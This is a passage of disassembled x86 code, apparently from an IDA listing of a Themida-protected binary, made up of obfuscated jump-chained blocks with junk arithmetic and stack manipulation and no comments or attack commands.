		pop	edi
		add	edi, 3BDE1E50h
		jmp	loc_58F722
; ---------------------------------------------------------------------------


loc_586C04:				; CODE XREF: sub_584787+C04j
		xor	dh, 87h
		xor	bh, dh
		pop	edx
		jmp	loc_5888D6
; ---------------------------------------------------------------------------


loc_586C0F:				; CODE XREF: sub_584787+169Fj
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		jmp	loc_585B60
; ---------------------------------------------------------------------------


loc_586C1D:				; DATA XREF: Themida_:005841A0o
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp+14h+var_14]
		jmp	loc_589D9B
; ---------------------------------------------------------------------------


loc_586C33:				; CODE XREF: sub_584787+A519j
		pop	esi
		add	edi, ebp
		jmp	loc_5897A9
; ---------------------------------------------------------------------------


loc_586C3B:				; CODE XREF: sub_584787+1600j
		mov	ebx, 4
		sub	eax, 3B903E1Ah
		add	eax, ebx
		add	eax, 3B903E1Ah
		pop	ebx
		xor	eax, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_58F49C
; ---------------------------------------------------------------------------


loc_586C5B:				; CODE XREF: sub_584787+66C2j
		push	ecx
		push	43E5h
		mov	[esp-4+arg_0], esi
		jmp	loc_58C06E
; ---------------------------------------------------------------------------


loc_586C69:				; CODE XREF: sub_584787+8AE6j
		pop	ecx
		xchg	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_58AE00
; ---------------------------------------------------------------------------


loc_586C75:				; CODE XREF: sub_584787+723Cj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_58C94F
; ---------------------------------------------------------------------------


loc_586C83:				; CODE XREF: sub_584787+9064j
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 2C2C68A2h
		not	edi
		push	edx
		mov	edx, 337A7E18h
		or	edx, 77B2928h
		jmp	loc_58856F
; ---------------------------------------------------------------------------


loc_586C9F:				; DATA XREF: Themida_:00584408o
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	eax
		push	esi
		mov	esi, 4
		push	ebx
		mov	ebx, 77174267h
		add	eax, ebx
		pop	ebx
		sub	eax, 5B3E58A5h
		add	eax, esi
		jmp	loc_58DEA0
; ---------------------------------------------------------------------------


loc_586CD2:				; CODE XREF: sub_584787+458Cj
		push	7690h
		mov	[esp+14h+var_14], ebx
		jmp	loc_58F9E4
; ---------------------------------------------------------------------------


loc_586CDF:				; CODE XREF: sub_584787+484Ej
		push	dx
		sub	byte ptr [esp+16h+var_18+2], 0FFh
		pop	dx
		shl	dl, 2
		dec	dl
		dec	dl
		sub	esp, 2
		mov	word ptr [esp+18h+var_18], ax
		mov	al, 0D5h
		jmp	loc_5851B0
; ---------------------------------------------------------------------------


loc_586CFF:				; CODE XREF: sub_584787+8C6Ej
		add	esp, 4
		sub	esp, 4
		jmp	loc_585ED3
; ---------------------------------------------------------------------------


loc_586D0D:				; CODE XREF: sub_584787+8E3Ej
		pop	esp
		mov	word ptr [esp+14h+var_14], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586D1E:				; CODE XREF: sub_584787+403Ej
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_58896D
; ---------------------------------------------------------------------------


loc_586D2F:				; CODE XREF: sub_584787+BB90j
		add	ebp, ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		xchg	ebp, [esp+16h+var_18+2]
		pop	esp
		or	word ptr [esp+12h+var_14+2], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586D48:				; CODE XREF: sub_584787+4A37j
		push	ebx
		mov	ebx, 4AA676B2h
		dec	ebx
		shr	ebx, 7
		dec	ebx
		xor	ebx, 23457A48h
		jmp	loc_58DAB8
; ---------------------------------------------------------------------------


loc_586D5E:				; CODE XREF: sub_584787+9CD5j
		movzx	eax, al
		mov	dx, word ptr [esp+1Ah+var_1C+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		jmp	loc_58E6B0
; ---------------------------------------------------------------------------


loc_586D79:				; CODE XREF: sub_584787+747Cj
		xor	ecx, edi
		pop	edi
		push	ecx
		not	dword ptr [esp+0]
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58B550
; ---------------------------------------------------------------------------


loc_586D8E:				; CODE XREF: Themida_:00590373j
		add	esi, ebp
		pop	ebp
		add	ebp, esi
		mov	esi, [esp+1Ah+var_1C+2]
		jmp	loc_58B430
; ---------------------------------------------------------------------------


loc_586D9B:				; CODE XREF: sub_584787+1FBAj
		sub	esi, 14020456h
		add	esi, eax
		add	esi, 14020456h
		jmp	loc_58F1E6
; ---------------------------------------------------------------------------


loc_586DAE:				; CODE XREF: sub_584787+18BAj
		mov	dh, 0ADh
		sub	bh, dh
		pop	dx
		and	cl, bh
		pop	ebx
		inc	cl
		jmp	loc_589C67
; ---------------------------------------------------------------------------


loc_586DBE:				; CODE XREF: sub_584787+39CDj
		xchg	esi, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+0], ecx
		jmp	loc_586FC2
; ---------------------------------------------------------------------------


loc_586DCA:				; CODE XREF: sub_584787+1EC6j
		pop	esp
		jmp	loc_58B6BD
; ---------------------------------------------------------------------------


loc_586DD0:				; CODE XREF: sub_584787+43BAj
		pop	ecx
		jmp	loc_58DECB
; ---------------------------------------------------------------------------


loc_586DD6:				; DATA XREF: Themida_:005843F4o
		mov	ecx, [esp+58h+var_58]
		sub	esp, 4
		mov	[esp+5Ch+var_5C], esi
		mov	esi, esp
		push	eax
		jmp	sub_58FF63
; ---------------------------------------------------------------------------


loc_586DEA:				; CODE XREF: sub_584787+AC9Cj
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		sub	esp, 4
		mov	[esp+60h+var_60], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_584DC3
; ---------------------------------------------------------------------------


loc_586E03:				; CODE XREF: sub_584787+21C7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		push	2D38h
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, esp
		jmp	loc_58923A
; ---------------------------------------------------------------------------


loc_586E22:				; CODE XREF: sub_584787+81Cj
		mov	edx, 0D179DEFDh
		sub	ecx, edx
		pop	edx
		add	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 49954199h
		add	esi, 7D5921B9h
		not	esi
		shl	esi, 3
		jmp	loc_589821
; ---------------------------------------------------------------------------


loc_586E43:				; CODE XREF: sub_584787+16Cj
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	eax, 5ADD58A9h
		jmp	loc_589F33
; ---------------------------------------------------------------------------


loc_586E56:				; CODE XREF: sub_584787+477Ej
		or	ah, 0F1h
		push	cx
		mov	cl, 94h
		add	ah, cl
		pop	cx
		xor	ah, 94h
		sub	bl, ah
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	bl, al
		add	bl, 1Dh
		push	cx
		mov	cl, 2Bh
		sub	bl, cl
		mov	cx, word ptr [esp+0Ah+var_C+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58740D
; ---------------------------------------------------------------------------


loc_586E89:				; CODE XREF: sub_584787+3302j
		push	ebx
		mov	ebx, 4B9D2FB3h
		push	644Eh
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, 33E36CC7h
		add	eax, 4FAD2A21h
		jmp	loc_587477
; ---------------------------------------------------------------------------


loc_586EA6:				; CODE XREF: sub_584787+983Dj
		add	esp, 4
		add	eax, ebp
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+16h+var_14+2]
		pop	eax
		pop	[esp+16h+var_18+2]
		jmp	loc_58F345
; ---------------------------------------------------------------------------


loc_586ECD:				; CODE XREF: sub_584787+7CF0j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586ED2:				; CODE XREF: sub_584787+ACD8j
		pop	eax
		add	ebp, 4
		jmp	loc_589B58
; ---------------------------------------------------------------------------


loc_586EDE:				; CODE XREF: sub_584787+604Aj
		shl	ebx, 8
		jmp	loc_588751
; ---------------------------------------------------------------------------


loc_586EE6:				; CODE XREF: sub_584787+A4A0j
		add	[esp+0Eh+var_10+2], 4
		pop	ebp
		add	ebp, 4
		push	72D8h
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 2B8A354Ch
		not	ebx
		xor	ebx, 662C77D8h
		and	ebx, 60AD4ADCh
		sub	ebx, 0F8DD913Dh
		add	ebp, ebx
		pop	ebx
		jmp	loc_5866F0
; ---------------------------------------------------------------------------


loc_586F20:				; CODE XREF: sub_584787+6398j
		or	dh, 4Fh
		and	dh, 6Eh
		add	dh, 0FEh
		push	ebx
		mov	bl, 0C0h
		jmp	loc_589F3A
; ---------------------------------------------------------------------------


loc_586F31:				; CODE XREF: sub_584787+6B6j
		pop	ecx
		jmp	loc_587F58
; ---------------------------------------------------------------------------


loc_586F37:				; CODE XREF: sub_584787+9749j
		push	ebx
		mov	bl, 0ADh
		jmp	loc_58D1D5
; ---------------------------------------------------------------------------


loc_586F3F:				; CODE XREF: sub_584787+9CABj
		add	ebp, 84B1E793h
		add	[esp+20h+var_1C], ebp
		pop	ebp
		jmp	loc_58D9EA
; ---------------------------------------------------------------------------


loc_586F4F:				; CODE XREF: sub_584787+23C5j
		mov	ebp, 10650EF0h
		jmp	loc_586298
; ---------------------------------------------------------------------------


loc_586F59:				; CODE XREF: sub_584787+473Cj
		push	ebx
		jmp	loc_59026F
; ---------------------------------------------------------------------------


loc_586F5F:				; CODE XREF: sub_584787+BD4Aj
		pop	ebp
		sub	[esp+arg_4], edi
		pop	edi
		pop	ebp
		pop	dword ptr [edi+40h]
		add	dword ptr [edi+40h], 26DD18BAh
		jmp	loc_588FF8
; ---------------------------------------------------------------------------


loc_586F75:				; CODE XREF: sub_584787+953Ej
		sub	eax, 2F69A033h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		add	esp, 4
		jmp	loc_58CFC3
; ---------------------------------------------------------------------------


loc_586F8F:				; CODE XREF: sub_584787+34DBj
		mov	eax, 52A85972h
		jmp	loc_587C20
; ---------------------------------------------------------------------------


loc_586F99:				; CODE XREF: sub_590170+3Ej
		mov	edx, ebx
		mov	ebx, [esp-18h+arg_12+2]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 7977331Dh
		sub	edi, 1
		jmp	loc_58FF11
; ---------------------------------------------------------------------------


loc_586FB2:				; CODE XREF: sub_584787+B3B2j
		or	edx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_58C262
; ---------------------------------------------------------------------------


loc_586FC2:				; CODE XREF: sub_584787+263Ej
		push	esp
		jmp	loc_58650D
; ---------------------------------------------------------------------------


loc_586FC8:				; CODE XREF: sub_584787+9724j
		add	eax, 4
		jmp	loc_58BBCF
; ---------------------------------------------------------------------------


loc_586FD2:				; CODE XREF: sub_584787+BEA6j
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	loc_58AF81
; ---------------------------------------------------------------------------


loc_586FDB:				; CODE XREF: sub_584787+B545j
		or	[esp+0], al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586FE4:				; CODE XREF: sub_584787+6C55j
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp+24h+var_26+2]
		mov	word ptr [esp+24h+var_26+2], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586FF6:				; CODE XREF: sub_584787+15D5j
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_58B0E5
; ---------------------------------------------------------------------------


loc_587000:				; CODE XREF: sub_584787+539Fj
		mov	dx, word ptr [esp-4+arg_0]
		jmp	loc_58663E
; ---------------------------------------------------------------------------


loc_587009:				; CODE XREF: sub_584787+933Aj
		pop	ebx
		or	ebx, eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		add	ebx, 8808DACBh
		push	4944h
		mov	[esp-8+arg_4], esi
		mov	esi, ebx
		jmp	loc_58C63F
; ---------------------------------------------------------------------------


loc_587027:				; CODE XREF: sub_584787+7D39j
		and	ch, al
		pop	eax
		dec	ch
		push	dx
		mov	dl, 81h
		add	ch, dl
		pop	dx
		jmp	loc_58D6D1
; ---------------------------------------------------------------------------


loc_587039:				; CODE XREF: sub_584787+5CC0j
		push	6DD8h
		mov	[esp-8+arg_4], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 70175055h
		sub	ecx, 70175051h
		jmp	loc_584F44
; ---------------------------------------------------------------------------


loc_587054:				; CODE XREF: sub_584787+A3A6j
		pop	ebx
		add	ebx, ecx
		jmp	loc_590137
; ---------------------------------------------------------------------------


loc_58705C:				; CODE XREF: sub_584787+65F9j
		mov	[esp-8+arg_4], edx
		push	esp
		jmp	loc_587C9B
; ---------------------------------------------------------------------------


loc_587065:				; CODE XREF: sub_584787+7E03j
		sub	edi, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	locret_58D600
; ---------------------------------------------------------------------------


loc_587075:				; CODE XREF: sub_584787+5545j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp-4+arg_0]
		jmp	loc_5903DD
; ---------------------------------------------------------------------------


loc_58708E:				; CODE XREF: sub_584787+9D54j
		inc	edi
		neg	edi
		shl	edi, 6
		shr	edi, 5
		xor	edi, 61ABD6ACh
		mov	ecx, edi
		pop	edi
		shl	ecx, 7
		jmp	loc_587EC0
; ---------------------------------------------------------------------------


loc_5870A8:				; CODE XREF: sub_584787+54A2j
		add	eax, ebx
		push	edi
		push	ebx
		mov	ebx, 72457FADh
		mov	edi, ebx
		pop	ebx
		jmp	loc_59038E
; ---------------------------------------------------------------------------


loc_5870B9:				; CODE XREF: sub_584787+AEECj
		mov	dh, 0B1h
		add	dh, 0A0h
		add	dh, 0Fh
		sub	bl, dh
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		push	edi
		push	edx
		jmp	loc_58DAC6
; ---------------------------------------------------------------------------


loc_5870DA:				; CODE XREF: sub_584787+7080j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5870E6:				; CODE XREF: sub_584787+5239j
		not	esi
		jmp	loc_585241
; ---------------------------------------------------------------------------


loc_5870ED:				; CODE XREF: sub_584787+230Ej
		push	[esp+2Ah+var_2C+2]
		pop	esi
		push	7810h
		mov	[esp+2Eh+var_30+2], esi
		push	esp
		mov	esi, [esp+32h+var_34+2]
		add	esp, 4
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, 74AA179Ah
		add	esi, ebp
		add	esi, 74AA179Ah
		pop	ebp
		xor	esi, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], esi
		xor	esi, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		jmp	loc_58894E
; ---------------------------------------------------------------------------


loc_58712C:				; DATA XREF: Themida_:00584308o
		lodsd
		xor	eax, ebx
		jmp	loc_584F6E
; ---------------------------------------------------------------------------


loc_587134:				; CODE XREF: sub_584787+8889j
		mov	ah, dh
		mov	ch, ah
		pop	eax
		pop	edx
		jmp	loc_58FA1B
; ---------------------------------------------------------------------------


loc_58713F:				; CODE XREF: sub_584787+73F2j
		neg	edx
		shl	edx, 8
		shl	edx, 5
		add	edx, 0A9D70002h
		mov	eax, edx
		pop	edx
		add	edx, 584378E0h
		add	edx, 6BB50099h
		jmp	loc_58D02D
; ---------------------------------------------------------------------------


loc_587161:				; CODE XREF: sub_584787+989Bj
		pop	esp
		mov	[esp+1Eh+var_20+2], ebp
		push	1
		pop	ebp
		and	eax, ebp
		mov	ebp, [esp+1Eh+var_20+2]
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, esp
		jmp	loc_58E6FC
; ---------------------------------------------------------------------------


loc_587180:				; DATA XREF: Themida_:00584388o
		mov	sp, [esp+0]
		jmp	loc_58DCF3
; ---------------------------------------------------------------------------


loc_587189:				; DATA XREF: Themida_:0058433Co
		mov	cx, [esp+0]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 4
		jmp	loc_5854CF
; ---------------------------------------------------------------------------


loc_5871A3:				; CODE XREF: sub_584787+E89j
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		pop	esp
		jmp	loc_58475E
; ---------------------------------------------------------------------------


loc_5871B8:				; CODE XREF: sub_584787+5E62j
		push	eax
		push	esi
		jmp	loc_58A998
; ---------------------------------------------------------------------------


loc_5871BF:				; DATA XREF: Themida_:00584310o
		mov	cx, word ptr [esp-4+arg_0]
		push	6946h
		mov	[esp+0], esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		sub	esi, 214F6674h
		add	esi, edx
		push	ebx
		jmp	loc_58B5D5
; ---------------------------------------------------------------------------


loc_5871E1:				; CODE XREF: sub_584787+3078j
		add	edi, 0D73FDEDEh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_584F3C
; ---------------------------------------------------------------------------
		dw 2489h
; ---------------------------------------------------------------------------
		and	al, 56h
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	edx, [esp+0]
		push	4577h
		mov	[esp+4+var_4], edx
		jmp	loc_58F428
; ---------------------------------------------------------------------------


loc_587210:				; CODE XREF: sub_584787+B892j
		add	esp, 4
		mov	eax, [esp+0]
		jmp	loc_58FDD8
; ---------------------------------------------------------------------------


loc_58721E:				; CODE XREF: sub_584787+8FF9j
		mov	ebp, 610D0AF7h
		jmp	loc_58F5DB
; ---------------------------------------------------------------------------


loc_587228:				; CODE XREF: sub_584787+83C9j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		add	esp, 4
		push	2669h
		mov	[esp-4+arg_0], edi
		push	0B7Eh
		mov	[esp+0], ebp
		mov	ebp, 320F41C1h
		mov	edi, 0CDF1BE3Fh
		add	edi, ebp
		pop	ebp
		and	eax, edi
		jmp	loc_588AEA
; ---------------------------------------------------------------------------


loc_58725C:				; CODE XREF: sub_584787+1DA0j
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5891C3
		push	dword ptr [edi+28h]
		jmp	loc_584693
; ---------------------------------------------------------------------------


loc_58727B:				; CODE XREF: sub_584787+6367j
		add	ah, 0E0h
		sub	bl, 0C3h
		add	bl, ah
		jmp	loc_585F9B
; ---------------------------------------------------------------------------


loc_587288:				; CODE XREF: sub_584787+5A59j
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_5892BA
; ---------------------------------------------------------------------------


loc_58729C:				; CODE XREF: sub_584787+7451j
		mov	esp, [esp+8+var_8]
		jmp	loc_585E49
; ---------------------------------------------------------------------------


loc_5872A4:				; CODE XREF: sub_584787+8769j
		add	esp, 4
		xor	ecx, 443E4530h
		jmp	loc_588B99
; ---------------------------------------------------------------------------


loc_5872B2:				; CODE XREF: sub_584787+6A19j
		add	esp, 4
		push	small 62CBh
		mov	word ptr [esp+2+var_4+2], bx
		jmp	loc_58A158
; ---------------------------------------------------------------------------


loc_5872C5:				; CODE XREF: sub_584787+71EBj
		xchg	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		and	eax, ebx
		push	[esp+2+var_4+2]
		pop	ebx
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_58574C
; ---------------------------------------------------------------------------


loc_5872E1:				; CODE XREF: sub_584787+19F9j
		push	7975h
		mov	[esp+0], ebx
		jmp	loc_58A5EE
; ---------------------------------------------------------------------------


loc_5872EE:				; CODE XREF: sub_584787+1290j
		push	22A5h
		jmp	loc_584B5F
; ---------------------------------------------------------------------------


loc_5872F8:				; CODE XREF: sub_584787+7C5Fj
					; sub_584787+8E60j
		push	ecx
		jmp	sub_58FF73
; ---------------------------------------------------------------------------


loc_5872FE:				; CODE XREF: sub_584787+23Dj
		add	esp, 4
		push	6513h
		mov	[esp+26h+var_26], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58F372
; ---------------------------------------------------------------------------


loc_587319:				; CODE XREF: sub_584787+416Aj
		sub	al, dh
		add	al, 0B9h
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	edx
		mov	dh, 3Fh
		add	al, dh
		pop	edx
		add	al, bl
		sub	al, 3Fh
		add	al, 0F4h
		jmp	loc_58BCE3
; ---------------------------------------------------------------------------


loc_587334:				; CODE XREF: sub_584787+4EC2j
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_58F290
; ---------------------------------------------------------------------------


loc_587344:				; CODE XREF: sub_584787+1BBBj
		pop	[esp+4Eh+var_4E]
		pop	esp
		div	cl
		movzx	cx, ah
		push	small 74C2h
		mov	[esp+0], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_587362:				; CODE XREF: sub_584787+9161j
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		jmp	loc_58806C
; ---------------------------------------------------------------------------


loc_58736D:				; CODE XREF: sub_584787+3CADj
		add	ecx, esi
		mov	esi, [esp+0]
		add	esp, 4
		not	ecx
		shr	ecx, 2
		xor	ecx, 1B1E543Bh
		add	ecx, 30DD43EAh
		sub	esi, ecx
		pop	ecx
		and	esi, 62A221C8h
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, eax
		pop	eax
		xor	esi, 20A0214Bh
		sub	edx, esi
		pop	esi
		xchg	edx, [esp+0]
		pop	esp
		mov	word ptr [esp+3Ah+var_3C+2], dx
		push	ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5873B4:				; CODE XREF: sub_584787+1DCCj
		sub	eax, ebx
		jmp	loc_58F1CC
; ---------------------------------------------------------------------------


loc_5873BB:				; CODE XREF: sub_584787+3EC1j
		mov	cl, 0C5h
		sub	al, 39h
		add	al, cl
		jmp	loc_58EFEA
; ---------------------------------------------------------------------------


loc_5873C6:				; CODE XREF: sub_584787+437Bj
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_58B116
; ---------------------------------------------------------------------------


loc_5873E5:				; CODE XREF: sub_584787+58D3j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58D1BF
; ---------------------------------------------------------------------------


loc_5873FF:				; CODE XREF: sub_584787+106Cj
		pop	ecx
		push	680h
		mov	[esp+1Ch+var_1C], edx
		jmp	sub_590170
; ---------------------------------------------------------------------------


loc_58740D:				; CODE XREF: sub_584787+26FDj
		add	edi, 2
		xchg	edi, [esp+0Eh+var_10+2]
		pop	esp
		push	cx
		mov	ch, 1Eh
		sub	bl, 4Ah
		add	bl, ch
		add	bl, 4Ah
		pop	cx
		movzx	eax, al
		jmp	loc_58EF6A
; ---------------------------------------------------------------------------


loc_58742A:				; CODE XREF: sub_584787+1DB4j
		xor	[esp+8+var_8], eax
		jmp	loc_58D67D
; ---------------------------------------------------------------------------


loc_587432:				; CODE XREF: sub_584787+91A4j
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 628068EDh
		add	eax, 41313899h
		and	eax, 20E03ECDh
		add	eax, 0DF5FDF80h
		jmp	loc_58FBE5
; ---------------------------------------------------------------------------


loc_587459:				; CODE XREF: sub_584787+3423j
		push	ebx
		mov	bh, 95h
		xor	bh, 0F3h
		sub	dh, 0AAh
		sub	dh, 0C0h
		jmp	loc_584D2F
; ---------------------------------------------------------------------------


loc_58746A:				; CODE XREF: sub_584787-AFj
		and	edi, 7761142Eh
		not	edi
		jmp	loc_58A7A4
; ---------------------------------------------------------------------------


loc_587477:				; CODE XREF: sub_584787+271Aj
		sub	eax, ebp
		jmp	loc_5867C6
; ---------------------------------------------------------------------------


loc_58747E:				; CODE XREF: sub_584787+1B3j
		inc	ah
		xor	ah, 0C4h
		sub	cl, ah
		push	[esp+1Ah+var_1C+2]
		jmp	loc_58A080
; ---------------------------------------------------------------------------


loc_58748D:				; CODE XREF: sub_584787+2AEj
		mov	[esp+36h+var_38+2], esi
		push	179h
		mov	[esp+3Ah+var_3C+2], esp
		add	[esp+3Ah+var_3C+2], 4
		pop	esi
		push	6E90h
		mov	[esp+3Ah+var_3C+2], edx
		mov	edx, 4
		add	esi, 0B18572Dh
		add	esi, edx
		sub	esi, 0B18572Dh
		mov	edx, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	esi, 2
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], esi
		push	[esp+3Ah+var_38+2]
		jmp	loc_58C1AA
; ---------------------------------------------------------------------------


loc_5874D3:				; CODE XREF: sub_584787+698Aj
		pop	si
		sub	si, 310Dh
		jmp	loc_588C9C
; ---------------------------------------------------------------------------


loc_5874DF:				; CODE XREF: sub_584787+2E20j
		mov	[esp+3Ch+var_3C], esi
		push	ebx
		mov	ebx, 6CC8131Eh
		shr	ebx, 3
		not	ebx
		shr	ebx, 1
		sub	ebx, 1AD759Fh
		mov	esi, ebx
		jmp	loc_587DAE
; ---------------------------------------------------------------------------


loc_5874FC:				; CODE XREF: sub_584787+84D4j
		mov	eax, [esp+40h+var_42+2]
		jmp	loc_58DEDD
; ---------------------------------------------------------------------------


loc_587504:				; CODE XREF: sub_584787+45E6j
		add	esp, 4
		mov	edx, 10032F26h
		xor	edx, ebp
		pop	ebp
		push	2230h
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_59070D
; ---------------------------------------------------------------------------


loc_58751C:				; CODE XREF: sub_584787+3F1Fj
		mov	eax, [esp+3Ch+var_3C]
		jmp	loc_5867B9
; ---------------------------------------------------------------------------


loc_587524:				; CODE XREF: sub_584787+1DEAj
		mov	eax, [esp+0]
		jmp	loc_58E5D3
; ---------------------------------------------------------------------------


loc_58752C:				; CODE XREF: sub_584787+AB5Aj
		mov	esi, edi
		pop	edi
		shl	esi, 6
		xor	esi, 69D5290Ah
		dec	esi
		sub	esi, 6FB31DECh
		add	esi, 0E538AD87h
		xor	ecx, esi
		jmp	loc_584CB1
; ---------------------------------------------------------------------------


loc_58754C:				; CODE XREF: sub_584787+234Cj
		add	esp, 4
		jmp	loc_58C9FA
; ---------------------------------------------------------------------------


loc_587554:				; CODE XREF: sub_584787+5BAFj
		mov	ah, ch
		mov	ch, byte ptr [esp+1Ah+var_18+2]
		mov	byte ptr [esp+1Ah+var_18+2], ah
		push	[esp+1Ah+var_1C+2]
		pop	eax
		jmp	loc_58A612
; ---------------------------------------------------------------------------


loc_587567:				; CODE XREF: sub_584787+7717j
		push	800h
		pop	ecx
		and	eax, ecx
		jmp	loc_58BC14
; ---------------------------------------------------------------------------


loc_587574:				; CODE XREF: sub_584787+95E0j
		add	eax, 60AB68C6h
		sub	eax, 232E5243h
		add	eax, edi
		add	eax, 232E5243h
		sub	eax, 60AB68C6h
		jmp	loc_589E22
; ---------------------------------------------------------------------------


loc_58758F:				; CODE XREF: sub_584787+9CFEj
		shl	ch, 2
		push	edx
		push	ecx
		mov	cl, 0C3h
		shl	cl, 6
		or	cl, 7Dh
		add	cl, 45h
		jmp	loc_586B64
; ---------------------------------------------------------------------------


loc_5875A4:				; CODE XREF: sub_584787+A77j
		sub	esp, 4
		jmp	loc_5874DF
; ---------------------------------------------------------------------------


loc_5875AC:				; CODE XREF: sub_584787+6F12j
		push	[esp+52h+var_4E]
		jmp	loc_58FE24
; ---------------------------------------------------------------------------


loc_5875B5:				; CODE XREF: sub_584787+91ACj
		mov	ecx, [esp+56h+var_58+2]
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 374C33A3h
		add	eax, 1CC12A79h
		shr	eax, 4
		shl	eax, 3
		jmp	loc_58B922
; ---------------------------------------------------------------------------


loc_5875D9:				; CODE XREF: sub_584787+1162j
		push	4081h
		mov	[esp+1Eh+var_20+2], edx
		push	28EEh
		mov	[esp+0], ebx
		mov	ebx, 789E3722h
		mov	edx, 25166E1Eh
		xor	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		jmp	loc_58B47D
; ---------------------------------------------------------------------------


loc_5875FE:				; CODE XREF: sub_584787+865Ej
		dec	ebp
		push	esi
		mov	esi, 1A8F1311h
		add	ebp, esi
		pop	esi
		add	edi, ebp
		jmp	loc_584620
; ---------------------------------------------------------------------------


loc_58760F:				; CODE XREF: sub_584787+7AD6j
		mov	ebp, esi
		pop	esi
		mov	eax, ebp
		pop	ebp
		jmp	loc_585FA4
; ---------------------------------------------------------------------------


